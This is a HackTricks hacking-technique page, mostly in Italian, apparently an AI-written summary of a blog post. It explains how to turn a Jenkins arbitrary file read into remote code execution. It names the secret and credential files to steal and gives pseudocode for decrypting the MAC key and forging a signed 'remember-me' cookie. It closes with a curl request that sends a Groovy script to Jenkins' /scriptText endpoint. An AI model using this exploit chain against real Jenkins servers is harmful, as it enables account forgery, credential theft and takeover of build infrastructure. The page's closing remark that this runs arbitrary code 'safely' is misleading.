Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
In questo post del blog è possibile trovare un ottimo modo per trasformare una vulnerabilità di Local File Inclusion in Jenkins in RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Questo è un riassunto creato dall'AI della parte del post in cui l'artefatto di un cookie arbitrario viene abusato per ottenere RCE abusando di una lettura di file locale fino a quando non ho tempo per creare un riassunto da solo:
Attack Prerequisites
- Feature Requirement: "Remember me" deve essere abilitato (impostazione predefinita).
- Access Levels: L'attaccante ha bisogno di permessi Overall/Read.
- Secret Access: Capacità di leggere sia contenuti binari che testuali da file chiave.
Detailed Exploitation Process
Step 1: Data Collection
User Information Retrieval
- Accedi alla configurazione utente e ai segreti da
$JENKINS_HOME/users/*.xml
per ciascun utente per raccogliere: - Username
- User seed
- Timestamp
- Password hash
Secret Key Extraction
- Estrai le chiavi crittografiche utilizzate per firmare il cookie:
- Secret Key:
$JENKINS_HOME/secret.key
- Master Key:
$JENKINS_HOME/secrets/master.key
- MAC Key File:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Step 2: Cookie Forging
Token Preparation
- Calcola il Tempo di Scadenza del Token:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Aggiunge un'ora all'ora attuale
- Concatena i Dati per il Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Key Decryption
- Decripta il File della Chiave MAC:
key = toAes128Key(masterKey) // Converti la chiave master nel formato chiave AES128
decrypted = AES.decrypt(macFile, key) // Decripta il file .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signature Computation
- Calcola HMAC SHA256:
mac = HmacSHA256(token, macKey) // Calcola HMAC utilizzando il token e la chiave MAC
tokenSignature = bytesToHexString(mac) // Converti la MAC in una stringa esadecimale
Cookie Encoding
- Genera il Cookie Finale:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Codifica in Base64 i dati del cookie
Step 3: Code Execution
Session Authentication
- Recupera i Token CSRF e di Sessione:
- Fai una richiesta a
/crumbIssuer/api/json
per ottenereJenkins-Crumb
. - Cattura
JSESSIONID
dalla risposta, che sarà utilizzato insieme al cookie remember-me.
Command Execution Request
- Invia una Richiesta POST con uno Script Groovy:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Lo script Groovy può essere utilizzato per eseguire comandi a livello di sistema o altre operazioni all'interno dell'ambiente Jenkins.
L'esempio di comando curl fornito dimostra come effettuare una richiesta a Jenkins con le intestazioni e i cookie necessari per eseguire codice arbitrario in modo sicuro.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.